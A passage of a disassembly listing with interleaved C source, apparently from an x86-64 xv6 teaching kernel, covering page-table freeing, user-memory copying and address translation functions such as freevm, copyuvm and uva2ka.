if(pte && (*pte & PTE_P) != 0){
ffff80000010bb59: 48 83 7d f0 00 cmpq $0x0,-0x10(%rbp)
ffff80000010bb5e: 74 70 je ffff80000010bbd0 <deallocuvm+0xde>
ffff80000010bb60: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010bb64: 48 8b 00 mov (%rax),%rax
ffff80000010bb67: 83 e0 01 and $0x1,%eax
ffff80000010bb6a: 48 85 c0 test %rax,%rax
ffff80000010bb6d: 74 61 je ffff80000010bbd0 <deallocuvm+0xde>
pa = PTE_ADDR(*pte);
ffff80000010bb6f: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010bb73: 48 8b 00 mov (%rax),%rax
ffff80000010bb76: 48 25 00 f0 ff ff and $0xfffffffffffff000,%rax
ffff80000010bb7c: 48 89 45 e8 mov %rax,-0x18(%rbp)
if(pa == 0)
ffff80000010bb80: 48 83 7d e8 00 cmpq $0x0,-0x18(%rbp)
ffff80000010bb85: 75 16 jne ffff80000010bb9d <deallocuvm+0xab>
panic("dallocuvm");
ffff80000010bb87: 48 bf 69 cc 10 00 00 movabs $0xffff80000010cc69,%rdi
ffff80000010bb8e: 80 ff ff
ffff80000010bb91: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff80000010bb98: 80 ff ff
ffff80000010bb9b: ff d0 callq *%rax
char *v = P2V(pa);
ffff80000010bb9d: 48 ba 00 00 00 00 00 movabs $0xffff800000000000,%rdx
ffff80000010bba4: 80 ff ff
ffff80000010bba7: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010bbab: 48 01 d0 add %rdx,%rax
ffff80000010bbae: 48 89 45 e0 mov %rax,-0x20(%rbp)
krelease(v);
ffff80000010bbb2: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff80000010bbb6: 48 89 c7 mov %rax,%rdi
ffff80000010bbb9: 48 b8 20 43 10 00 00 movabs $0xffff800000104320,%rax
ffff80000010bbc0: 80 ff ff
ffff80000010bbc3: ff d0 callq *%rax
*pte = 0;
ffff80000010bbc5: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010bbc9: 48 c7 00 00 00 00 00 movq $0x0,(%rax)
for(; a < oldsz; a += PGSIZE){
ffff80000010bbd0: 48 81 45 f8 00 10 00 addq $0x1000,-0x8(%rbp)
ffff80000010bbd7: 00
ffff80000010bbd8: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010bbdc: 48 3b 45 d0 cmp -0x30(%rbp),%rax
ffff80000010bbe0: 0f 82 50 ff ff ff jb ffff80000010bb36 <deallocuvm+0x44>
}
}
return newsz;
ffff80000010bbe6: 48 8b 45 c8 mov -0x38(%rbp),%rax
}
ffff80000010bbea: c9 leaveq
ffff80000010bbeb: c3 retq
ffff80000010bbec <freevm>:
// Free all the pages mapped by, and all the memory used for,
// this page table
void
freevm(pde_t *pml4)
{
ffff80000010bbec: f3 0f 1e fa endbr64
ffff80000010bbf0: 55 push %rbp
ffff80000010bbf1: 48 89 e5 mov %rsp,%rbp
ffff80000010bbf4: 48 83 ec 40 sub $0x40,%rsp
ffff80000010bbf8: 48 89 7d c8 mov %rdi,-0x38(%rbp)
uint i, j, k, l;
pde_t *pdp, *pd, *pt;
if(pml4 == 0)
ffff80000010bbfc: 48 83 7d c8 00 cmpq $0x0,-0x38(%rbp)
ffff80000010bc01: 75 16 jne ffff80000010bc19 <freevm+0x2d>
panic("freevm: no pgdir");
ffff80000010bc03: 48 bf 73 cc 10 00 00 movabs $0xffff80000010cc73,%rdi
ffff80000010bc0a: 80 ff ff
ffff80000010bc0d: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff80000010bc14: 80 ff ff
ffff80000010bc17: ff d0 callq *%rax
// then need to loop through pml4 entry
for(i = 0; i < (NPDENTRIES/2); i++){
ffff80000010bc19: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
ffff80000010bc20: e9 dc 01 00 00 jmpq ffff80000010be01 <freevm+0x215>
if(pml4[i] & PTE_P){
ffff80000010bc25: 8b 45 fc mov -0x4(%rbp),%eax
ffff80000010bc28: 48 8d 14 c5 00 00 00 lea 0x0(,%rax,8),%rdx
ffff80000010bc2f: 00
ffff80000010bc30: 48 8b 45 c8 mov -0x38(%rbp),%rax
ffff80000010bc34: 48 01 d0 add %rdx,%rax
ffff80000010bc37: 48 8b 00 mov (%rax),%rax
ffff80000010bc3a: 83 e0 01 and $0x1,%eax
ffff80000010bc3d: 48 85 c0 test %rax,%rax
ffff80000010bc40: 0f 84 b7 01 00 00 je ffff80000010bdfd <freevm+0x211>
pdp = (pdpe_t*)P2V(PTE_ADDR(pml4[i]));
ffff80000010bc46: 8b 45 fc mov -0x4(%rbp),%eax
ffff80000010bc49: 48 8d 14 c5 00 00 00 lea 0x0(,%rax,8),%rdx
ffff80000010bc50: 00
ffff80000010bc51: 48 8b 45 c8 mov -0x38(%rbp),%rax
ffff80000010bc55: 48 01 d0 add %rdx,%rax
ffff80000010bc58: 48 8b 00 mov (%rax),%rax
ffff80000010bc5b: 48 25 00 f0 ff ff and $0xfffffffffffff000,%rax
ffff80000010bc61: 48 89 c2 mov %rax,%rdx
ffff80000010bc64: 48 b8 00 00 00 00 00 movabs $0xffff800000000000,%rax
ffff80000010bc6b: 80 ff ff
ffff80000010bc6e: 48 01 d0 add %rdx,%rax
ffff80000010bc71: 48 89 45 e8 mov %rax,-0x18(%rbp)
// and every entry in the corresponding pdpt
for(j = 0; j < NPDENTRIES; j++){
ffff80000010bc75: c7 45 f8 00 00 00 00 movl $0x0,-0x8(%rbp)
ffff80000010bc7c: e9 5c 01 00 00 jmpq ffff80000010bddd <freevm+0x1f1>
if(pdp[j] & PTE_P){
ffff80000010bc81: 8b 45 f8 mov -0x8(%rbp),%eax
ffff80000010bc84: 48 8d 14 c5 00 00 00 lea 0x0(,%rax,8),%rdx
ffff80000010bc8b: 00
ffff80000010bc8c: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010bc90: 48 01 d0 add %rdx,%rax
ffff80000010bc93: 48 8b 00 mov (%rax),%rax
ffff80000010bc96: 83 e0 01 and $0x1,%eax
ffff80000010bc99: 48 85 c0 test %rax,%rax
ffff80000010bc9c: 0f 84 37 01 00 00 je ffff80000010bdd9 <freevm+0x1ed>
pd = (pde_t*)P2V(PTE_ADDR(pdp[j]));
ffff80000010bca2: 8b 45 f8 mov -0x8(%rbp),%eax
ffff80000010bca5: 48 8d 14 c5 00 00 00 lea 0x0(,%rax,8),%rdx
ffff80000010bcac: 00
ffff80000010bcad: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010bcb1: 48 01 d0 add %rdx,%rax
ffff80000010bcb4: 48 8b 00 mov (%rax),%rax
ffff80000010bcb7: 48 25 00 f0 ff ff and $0xfffffffffffff000,%rax
ffff80000010bcbd: 48 89 c2 mov %rax,%rdx
ffff80000010bcc0: 48 b8 00 00 00 00 00 movabs $0xffff800000000000,%rax
ffff80000010bcc7: 80 ff ff
ffff80000010bcca: 48 01 d0 add %rdx,%rax
ffff80000010bccd: 48 89 45 e0 mov %rax,-0x20(%rbp)
// and every entry in the corresponding page directory
for(k = 0; k < (NPDENTRIES); k++){
ffff80000010bcd1: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%rbp)
ffff80000010bcd8: e9 dc 00 00 00 jmpq ffff80000010bdb9 <freevm+0x1cd>
if(pd[k] & PTE_P) {
ffff80000010bcdd: 8b 45 f4 mov -0xc(%rbp),%eax
ffff80000010bce0: 48 8d 14 c5 00 00 00 lea 0x0(,%rax,8),%rdx
ffff80000010bce7: 00
ffff80000010bce8: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff80000010bcec: 48 01 d0 add %rdx,%rax
ffff80000010bcef: 48 8b 00 mov (%rax),%rax
ffff80000010bcf2: 83 e0 01 and $0x1,%eax
ffff80000010bcf5: 48 85 c0 test %rax,%rax
ffff80000010bcf8: 0f 84 b7 00 00 00 je ffff80000010bdb5 <freevm+0x1c9>
pt = (pde_t*)P2V(PTE_ADDR(pd[k]));
ffff80000010bcfe: 8b 45 f4 mov -0xc(%rbp),%eax
ffff80000010bd01: 48 8d 14 c5 00 00 00 lea 0x0(,%rax,8),%rdx
ffff80000010bd08: 00
ffff80000010bd09: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff80000010bd0d: 48 01 d0 add %rdx,%rax
ffff80000010bd10: 48 8b 00 mov (%rax),%rax
ffff80000010bd13: 48 25 00 f0 ff ff and $0xfffffffffffff000,%rax
ffff80000010bd19: 48 89 c2 mov %rax,%rdx
ffff80000010bd1c: 48 b8 00 00 00 00 00 movabs $0xffff800000000000,%rax
ffff80000010bd23: 80 ff ff
ffff80000010bd26: 48 01 d0 add %rdx,%rax
ffff80000010bd29: 48 89 45 d8 mov %rax,-0x28(%rbp)
// and every entry in the corresponding page table
for(l = 0; l < (NPDENTRIES); l++){
ffff80000010bd2d: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%rbp)
ffff80000010bd34: eb 63 jmp ffff80000010bd99 <freevm+0x1ad>
if(pt[l] & PTE_P) {
ffff80000010bd36: 8b 45 f0 mov -0x10(%rbp),%eax
ffff80000010bd39: 48 8d 14 c5 00 00 00 lea 0x0(,%rax,8),%rdx
ffff80000010bd40: 00
ffff80000010bd41: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff80000010bd45: 48 01 d0 add %rdx,%rax
ffff80000010bd48: 48 8b 00 mov (%rax),%rax
ffff80000010bd4b: 83 e0 01 and $0x1,%eax
ffff80000010bd4e: 48 85 c0 test %rax,%rax
ffff80000010bd51: 74 42 je ffff80000010bd95 <freevm+0x1a9>
char * v = P2V(PTE_ADDR(pt[l]));
ffff80000010bd53: 8b 45 f0 mov -0x10(%rbp),%eax
ffff80000010bd56: 48 8d 14 c5 00 00 00 lea 0x0(,%rax,8),%rdx
ffff80000010bd5d: 00
ffff80000010bd5e: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff80000010bd62: 48 01 d0 add %rdx,%rax
ffff80000010bd65: 48 8b 00 mov (%rax),%rax
ffff80000010bd68: 48 25 00 f0 ff ff and $0xfffffffffffff000,%rax
ffff80000010bd6e: 48 89 c2 mov %rax,%rdx
ffff80000010bd71: 48 b8 00 00 00 00 00 movabs $0xffff800000000000,%rax
ffff80000010bd78: 80 ff ff
ffff80000010bd7b: 48 01 d0 add %rdx,%rax
ffff80000010bd7e: 48 89 45 d0 mov %rax,-0x30(%rbp)
krelease((char*)v);
ffff80000010bd82: 48 8b 45 d0 mov -0x30(%rbp),%rax
ffff80000010bd86: 48 89 c7 mov %rax,%rdi
ffff80000010bd89: 48 b8 20 43 10 00 00 movabs $0xffff800000104320,%rax
ffff80000010bd90: 80 ff ff
ffff80000010bd93: ff d0 callq *%rax
for(l = 0; l < (NPDENTRIES); l++){
ffff80000010bd95: 83 45 f0 01 addl $0x1,-0x10(%rbp)
ffff80000010bd99: 81 7d f0 ff 01 00 00 cmpl $0x1ff,-0x10(%rbp)
ffff80000010bda0: 76 94 jbe ffff80000010bd36 <freevm+0x14a>
}
}
//freeing every page table
krelease((char*)pt);
ffff80000010bda2: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff80000010bda6: 48 89 c7 mov %rax,%rdi
ffff80000010bda9: 48 b8 20 43 10 00 00 movabs $0xffff800000104320,%rax
ffff80000010bdb0: 80 ff ff
ffff80000010bdb3: ff d0 callq *%rax
for(k = 0; k < (NPDENTRIES); k++){
ffff80000010bdb5: 83 45 f4 01 addl $0x1,-0xc(%rbp)
ffff80000010bdb9: 81 7d f4 ff 01 00 00 cmpl $0x1ff,-0xc(%rbp)
ffff80000010bdc0: 0f 86 17 ff ff ff jbe ffff80000010bcdd <freevm+0xf1>
}
}
// freeing every page directory
krelease((char*)pd);
ffff80000010bdc6: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff80000010bdca: 48 89 c7 mov %rax,%rdi
ffff80000010bdcd: 48 b8 20 43 10 00 00 movabs $0xffff800000104320,%rax
ffff80000010bdd4: 80 ff ff
ffff80000010bdd7: ff d0 callq *%rax
for(j = 0; j < NPDENTRIES; j++){
ffff80000010bdd9: 83 45 f8 01 addl $0x1,-0x8(%rbp)
ffff80000010bddd: 81 7d f8 ff 01 00 00 cmpl $0x1ff,-0x8(%rbp)
ffff80000010bde4: 0f 86 97 fe ff ff jbe ffff80000010bc81 <freevm+0x95>
}
}
// freeing every page directory pointer table
krelease((char*)pdp);
ffff80000010bdea: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010bdee: 48 89 c7 mov %rax,%rdi
ffff80000010bdf1: 48 b8 20 43 10 00 00 movabs $0xffff800000104320,%rax
ffff80000010bdf8: 80 ff ff
ffff80000010bdfb: ff d0 callq *%rax
for(i = 0; i < (NPDENTRIES/2); i++){
ffff80000010bdfd: 83 45 fc 01 addl $0x1,-0x4(%rbp)
ffff80000010be01: 81 7d fc ff 00 00 00 cmpl $0xff,-0x4(%rbp)
ffff80000010be08: 0f 86 17 fe ff ff jbe ffff80000010bc25 <freevm+0x39>
}
}
// freeing the pml4
krelease((char*)pml4);
ffff80000010be0e: 48 8b 45 c8 mov -0x38(%rbp),%rax
ffff80000010be12: 48 89 c7 mov %rax,%rdi
ffff80000010be15: 48 b8 20 43 10 00 00 movabs $0xffff800000104320,%rax
ffff80000010be1c: 80 ff ff
ffff80000010be1f: ff d0 callq *%rax
}
ffff80000010be21: 90 nop
ffff80000010be22: c9 leaveq
ffff80000010be23: c3 retq
ffff80000010be24 <clearpteu>:
// Clear PTE_U on a page. Used to create an inaccessible
// page beneath the user stack.
void
clearpteu(pde_t *pgdir, char *uva)
{
ffff80000010be24: f3 0f 1e fa endbr64
ffff80000010be28: 55 push %rbp
ffff80000010be29: 48 89 e5 mov %rsp,%rbp
ffff80000010be2c: 48 83 ec 20 sub $0x20,%rsp
ffff80000010be30: 48 89 7d e8 mov %rdi,-0x18(%rbp)
ffff80000010be34: 48 89 75 e0 mov %rsi,-0x20(%rbp)
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
ffff80000010be38: 48 8b 4d e0 mov -0x20(%rbp),%rcx
ffff80000010be3c: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010be40: ba 00 00 00 00 mov $0x0,%edx
ffff80000010be45: 48 89 ce mov %rcx,%rsi
ffff80000010be48: 48 89 c7 mov %rax,%rdi
ffff80000010be4b: 48 b8 68 b4 10 00 00 movabs $0xffff80000010b468,%rax
ffff80000010be52: 80 ff ff
ffff80000010be55: ff d0 callq *%rax
ffff80000010be57: 48 89 45 f8 mov %rax,-0x8(%rbp)
if(pte == 0)
ffff80000010be5b: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp)
ffff80000010be60: 75 16 jne ffff80000010be78 <clearpteu+0x54>
panic("clearpteu");
ffff80000010be62: 48 bf 84 cc 10 00 00 movabs $0xffff80000010cc84,%rdi
ffff80000010be69: 80 ff ff
ffff80000010be6c: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff80000010be73: 80 ff ff
ffff80000010be76: ff d0 callq *%rax
*pte &= ~PTE_U;
ffff80000010be78: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010be7c: 48 8b 00 mov (%rax),%rax
ffff80000010be7f: 48 83 e0 fb and $0xfffffffffffffffb,%rax
ffff80000010be83: 48 89 c2 mov %rax,%rdx
ffff80000010be86: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010be8a: 48 89 10 mov %rdx,(%rax)
}
ffff80000010be8d: 90 nop
ffff80000010be8e: c9 leaveq
ffff80000010be8f: c3 retq
ffff80000010be90 <copyuvm>:
// Given a parent process's page table, create a copy
// of it for a child.
pde_t*
copyuvm(pde_t *pgdir, uint sz)
{
ffff80000010be90: f3 0f 1e fa endbr64
ffff80000010be94: 55 push %rbp
ffff80000010be95: 48 89 e5 mov %rsp,%rbp
ffff80000010be98: 48 83 ec 40 sub $0x40,%rsp
ffff80000010be9c: 48 89 7d c8 mov %rdi,-0x38(%rbp)
ffff80000010bea0: 89 75 c4 mov %esi,-0x3c(%rbp)
pde_t *d;
pte_t *pte;
addr_t pa, i, flags;
char *mem;
if((d = setupkvm()) == 0)
ffff80000010bea3: 48 b8 42 b2 10 00 00 movabs $0xffff80000010b242,%rax
ffff80000010beaa: 80 ff ff
ffff80000010bead: ff d0 callq *%rax
ffff80000010beaf: 48 89 45 f0 mov %rax,-0x10(%rbp)
ffff80000010beb3: 48 83 7d f0 00 cmpq $0x0,-0x10(%rbp)
ffff80000010beb8: 75 0a jne ffff80000010bec4 <copyuvm+0x34>
return 0;
ffff80000010beba: b8 00 00 00 00 mov $0x0,%eax
ffff80000010bebf: e9 51 01 00 00 jmpq ffff80000010c015 <copyuvm+0x185>
for(i = PGSIZE; i < sz; i += PGSIZE){
ffff80000010bec4: 48 c7 45 f8 00 10 00 movq $0x1000,-0x8(%rbp)
ffff80000010becb: 00
ffff80000010becc: e9 15 01 00 00 jmpq ffff80000010bfe6 <copyuvm+0x156>
if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0)
ffff80000010bed1: 48 8b 4d f8 mov -0x8(%rbp),%rcx
ffff80000010bed5: 48 8b 45 c8 mov -0x38(%rbp),%rax
ffff80000010bed9: ba 00 00 00 00 mov $0x0,%edx
ffff80000010bede: 48 89 ce mov %rcx,%rsi
ffff80000010bee1: 48 89 c7 mov %rax,%rdi
ffff80000010bee4: 48 b8 68 b4 10 00 00 movabs $0xffff80000010b468,%rax
ffff80000010beeb: 80 ff ff
ffff80000010beee: ff d0 callq *%rax
ffff80000010bef0: 48 89 45 e8 mov %rax,-0x18(%rbp)
ffff80000010bef4: 48 83 7d e8 00 cmpq $0x0,-0x18(%rbp)
ffff80000010bef9: 75 16 jne ffff80000010bf11 <copyuvm+0x81>
panic("copyuvm: pte should exist");
ffff80000010befb: 48 bf 8e cc 10 00 00 movabs $0xffff80000010cc8e,%rdi
ffff80000010bf02: 80 ff ff
ffff80000010bf05: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff80000010bf0c: 80 ff ff
ffff80000010bf0f: ff d0 callq *%rax
if(!(*pte & PTE_P))
ffff80000010bf11: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010bf15: 48 8b 00 mov (%rax),%rax
ffff80000010bf18: 83 e0 01 and $0x1,%eax
ffff80000010bf1b: 48 85 c0 test %rax,%rax
ffff80000010bf1e: 75 16 jne ffff80000010bf36 <copyuvm+0xa6>
panic("copyuvm: page not present");
ffff80000010bf20: 48 bf a8 cc 10 00 00 movabs $0xffff80000010cca8,%rdi
ffff80000010bf27: 80 ff ff
ffff80000010bf2a: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff80000010bf31: 80 ff ff
ffff80000010bf34: ff d0 callq *%rax
pa = PTE_ADDR(*pte);
ffff80000010bf36: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010bf3a: 48 8b 00 mov (%rax),%rax
ffff80000010bf3d: 48 25 00 f0 ff ff and $0xfffffffffffff000,%rax
ffff80000010bf43: 48 89 45 e0 mov %rax,-0x20(%rbp)
flags = PTE_FLAGS(*pte);
ffff80000010bf47: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010bf4b: 48 8b 00 mov (%rax),%rax
ffff80000010bf4e: 25 ff 0f 00 00 and $0xfff,%eax
ffff80000010bf53: 48 89 45 d8 mov %rax,-0x28(%rbp)
if((mem = kalloc()) == 0)
ffff80000010bf57: 48 b8 66 42 10 00 00 movabs $0xffff800000104266,%rax
ffff80000010bf5e: 80 ff ff
ffff80000010bf61: ff d0 callq *%rax
ffff80000010bf63: 48 89 45 d0 mov %rax,-0x30(%rbp)
ffff80000010bf67: 48 83 7d d0 00 cmpq $0x0,-0x30(%rbp)
ffff80000010bf6c: 0f 84 87 00 00 00 je ffff80000010bff9 <copyuvm+0x169>
goto bad;
memmove(mem, (char*)P2V(pa), PGSIZE);
ffff80000010bf72: 48 ba 00 00 00 00 00 movabs $0xffff800000000000,%rdx
ffff80000010bf79: 80 ff ff
ffff80000010bf7c: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff80000010bf80: 48 01 d0 add %rdx,%rax
ffff80000010bf83: 48 89 c1 mov %rax,%rcx
ffff80000010bf86: 48 8b 45 d0 mov -0x30(%rbp),%rax
ffff80000010bf8a: ba 00 10 00 00 mov $0x1000,%edx
ffff80000010bf8f: 48 89 ce mov %rcx,%rsi
ffff80000010bf92: 48 89 c7 mov %rax,%rdi
ffff80000010bf95: 48 b8 10 7d 10 00 00 movabs $0xffff800000107d10,%rax
ffff80000010bf9c: 80 ff ff
ffff80000010bf9f: ff d0 callq *%rax
if(mappages(d, (void*)i, PGSIZE, V2P(mem), flags) < 0)
ffff80000010bfa1: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff80000010bfa5: 89 c1 mov %eax,%ecx
ffff80000010bfa7: 48 8b 45 d0 mov -0x30(%rbp),%rax
ffff80000010bfab: 48 ba 00 00 00 00 00 movabs $0x800000000000,%rdx
ffff80000010bfb2: 80 00 00
ffff80000010bfb5: 48 01 c2 add %rax,%rdx
ffff80000010bfb8: 48 8b 75 f8 mov -0x8(%rbp),%rsi
ffff80000010bfbc: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010bfc0: 41 89 c8 mov %ecx,%r8d
ffff80000010bfc3: 48 89 d1 mov %rdx,%rcx
ffff80000010bfc6: ba 00 10 00 00 mov $0x1000,%edx
ffff80000010bfcb: 48 89 c7 mov %rax,%rdi
ffff80000010bfce: 48 b8 ef b6 10 00 00 movabs $0xffff80000010b6ef,%rax
ffff80000010bfd5: 80 ff ff
ffff80000010bfd8: ff d0 callq *%rax
ffff80000010bfda: 85 c0 test %eax,%eax
ffff80000010bfdc: 78 1e js ffff80000010bffc <copyuvm+0x16c>
for(i = PGSIZE; i < sz; i += PGSIZE){
ffff80000010bfde: 48 81 45 f8 00 10 00 addq $0x1000,-0x8(%rbp)
ffff80000010bfe5: 00
ffff80000010bfe6: 8b 45 c4 mov -0x3c(%rbp),%eax
ffff80000010bfe9: 48 39 45 f8 cmp %rax,-0x8(%rbp)
ffff80000010bfed: 0f 82 de fe ff ff jb ffff80000010bed1 <copyuvm+0x41>
goto bad;
}
return d;
ffff80000010bff3: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010bff7: eb 1c jmp ffff80000010c015 <copyuvm+0x185>
goto bad;
ffff80000010bff9: 90 nop
ffff80000010bffa: eb 01 jmp ffff80000010bffd <copyuvm+0x16d>
goto bad;
ffff80000010bffc: 90 nop
bad:
freevm(d);
ffff80000010bffd: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010c001: 48 89 c7 mov %rax,%rdi
ffff80000010c004: 48 b8 ec bb 10 00 00 movabs $0xffff80000010bbec,%rax
ffff80000010c00b: 80 ff ff
ffff80000010c00e: ff d0 callq *%rax
return 0;
ffff80000010c010: b8 00 00 00 00 mov $0x0,%eax
}
ffff80000010c015: c9 leaveq
ffff80000010c016: c3 retq
ffff80000010c017 <uva2ka>:
// Map user virtual address to kernel address.
char*
uva2ka(pde_t *pgdir, char *uva)
{
ffff80000010c017: f3 0f 1e fa endbr64
ffff80000010c01b: 55 push %rbp
ffff80000010c01c: 48 89 e5 mov %rsp,%rbp
ffff80000010c01f: 48 83 ec 20 sub $0x20,%rsp
ffff80000010c023: 48 89 7d e8 mov %rdi,-0x18(%rbp)
ffff80000010c027: 48 89 75 e0 mov %rsi,-0x20(%rbp)
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
ffff80000010c02b: 48 8b 4d e0 mov -0x20(%rbp),%rcx
ffff80000010c02f: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010c033: ba 00 00 00 00 mov $0x0,%edx
ffff80000010c038: 48 89 ce mov %rcx,%rsi
ffff80000010c03b: 48 89 c7 mov %rax,%rdi
ffff80000010c03e: 48 b8 68 b4 10 00 00 movabs $0xffff80000010b468,%rax
ffff80000010c045: 80 ff ff
ffff80000010c048: ff d0 callq *%rax
ffff80000010c04a: 48 89 45 f8 mov %rax,-0x8(%rbp)
if((*pte & PTE_P) == 0)
ffff80000010c04e: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010c052: 48 8b 00 mov (%rax),%rax
ffff80000010c055: 83 e0 01 and $0x1,%eax
ffff80000010c058: 48 85 c0 test %rax,%rax
ffff80000010c05b: 75 07 jne ffff80000010c064 <uva2ka+0x4d>
return 0;
ffff80000010c05d: b8 00 00 00 00 mov $0x0,%eax
ffff80000010c062: eb 33 jmp ffff80000010c097 <uva2ka+0x80>
if((*pte & PTE_U) == 0)
ffff80000010c064: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010c068: 48 8b 00 mov (%rax),%rax
ffff80000010c06b: 83 e0 04 and $0x4,%eax
ffff80000010c06e: 48 85 c0 test %rax,%rax
ffff80000010c071: 75 07 jne ffff80000010c07a <uva2ka+0x63>
return 0;
ffff80000010c073: b8 00 00 00 00 mov $0x0,%eax
ffff80000010c078: eb 1d jmp ffff80000010c097 <uva2ka+0x80>
return (char*)P2V(PTE_ADDR(*pte));
ffff80000010c07a: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010c07e: 48 8b 00 mov (%rax),%rax
ffff80000010c081: 48 25 00 f0 ff ff and $0xfffffffffffff000,%rax
ffff80000010c087: 48 89 c2 mov %rax,%rdx
ffff80000010c08a: 48 b8 00 00 00 00 00 movabs $0xffff800000000000,%rax
ffff80000010c091: 80 ff ff
ffff80000010c094: 48 01 d0 add %rdx,%rax
}
ffff80000010c097: c9 leaveq
ffff80000010c098: c3 retq
ffff80000010c099 <copyout>:
// Copy len bytes from p to user address va in page table pgdir.
// Most useful when pgdir is not the current page table.
// uva2ka ensures this only works for PTE_U pages.
int
copyout(pde_t *pgdir, addr_t va, void *p, uint64 len)
{
ffff80000010c099: f3 0f 1e fa endbr64
ffff80000010c09d: 55 push %rbp
ffff80000010c09e: 48 89 e5 mov %rsp,%rbp
ffff80000010c0a1: 48 83 ec 40 sub $0x40,%rsp
ffff80000010c0a5: 48 89 7d d8 mov %rdi,-0x28(%rbp)
ffff80000010c0a9: 48 89 75 d0 mov %rsi,-0x30(%rbp)
ffff80000010c0ad: 48 89 55 c8 mov %rdx,-0x38(%rbp)
ffff80000010c0b1: 48 89 4d c0 mov %rcx,-0x40(%rbp)
char *buf, *pa0;
addr_t n, va0;
buf = (char*)p;
ffff80000010c0b5: 48 8b 45 c8 mov -0x38(%rbp),%rax
ffff80000010c0b9: 48 89 45 f8 mov %rax,-0x8(%rbp)
while(len > 0){
ffff80000010c0bd: e9 b0 00 00 00 jmpq ffff80000010c172 <copyout+0xd9>
va0 = PGROUNDDOWN(va);
ffff80000010c0c2: 48 8b 45 d0 mov -0x30(%rbp),%rax
ffff80000010c0c6: 48 25 00 f0 ff ff and $0xfffffffffffff000,%rax
ffff80000010c0cc: 48 89 45 e8 mov %rax,-0x18(%rbp)
pa0 = uva2ka(pgdir, (char*)va0);
ffff80000010c0d0: 48 8b 55 e8 mov -0x18(%rbp),%rdx
ffff80000010c0d4: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff80000010c0d8: 48 89 d6 mov %rdx,%rsi
ffff80000010c0db: 48 89 c7 mov %rax,%rdi
ffff80000010c0de: 48 b8 17 c0 10 00 00 movabs $0xffff80000010c017,%rax
ffff80000010c0e5: 80 ff ff
ffff80000010c0e8: ff d0 callq *%rax
ffff80000010c0ea: 48 89 45 e0 mov %rax,-0x20(%rbp)
if(pa0 == 0)
ffff80000010c0ee: 48 83 7d e0 00 cmpq $0x0,-0x20(%rbp)
ffff80000010c0f3: 75 0a jne ffff80000010c0ff <copyout+0x66>
return -1;
ffff80000010c0f5: b8 ff ff ff ff mov $0xffffffff,%eax
ffff80000010c0fa: e9 83 00 00 00 jmpq ffff80000010c182 <copyout+0xe9>
n = PGSIZE - (va - va0);
ffff80000010c0ff: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010c103: 48 2b 45 d0 sub -0x30(%rbp),%rax
ffff80000010c107: 48 05 00 10 00 00 add $0x1000,%rax
ffff80000010c10d: 48 89 45 f0 mov %rax,-0x10(%rbp)
if(n > len)
ffff80000010c111: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010c115: 48 3b 45 c0 cmp -0x40(%rbp),%rax
ffff80000010c119: 76 08 jbe ffff80000010c123 <copyout+0x8a>
n = len;
ffff80000010c11b: 48 8b 45 c0 mov -0x40(%rbp),%rax
ffff80000010c11f: 48 89 45 f0 mov %rax,-0x10(%rbp)
memmove(pa0 + (va - va0), buf, n);
ffff80000010c123: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010c127: 89 c6 mov %eax,%esi
ffff80000010c129: 48 8b 45 d0 mov -0x30(%rbp),%rax
ffff80000010c12d: 48 2b 45 e8 sub -0x18(%rbp),%rax
ffff80000010c131: 48 89 c2 mov %rax,%rdx
ffff80000010c134: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff80000010c138: 48 8d 0c 02 lea (%rdx,%rax,1),%rcx
ffff80000010c13c: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010c140: 89 f2 mov %esi,%edx
ffff80000010c142: 48 89 c6 mov %rax,%rsi
ffff80000010c145: 48 89 cf mov %rcx,%rdi
ffff80000010c148: 48 b8 10 7d 10 00 00 movabs $0xffff800000107d10,%rax
ffff80000010c14f: 80 ff ff
ffff80000010c152: ff d0 callq *%rax
len -= n;
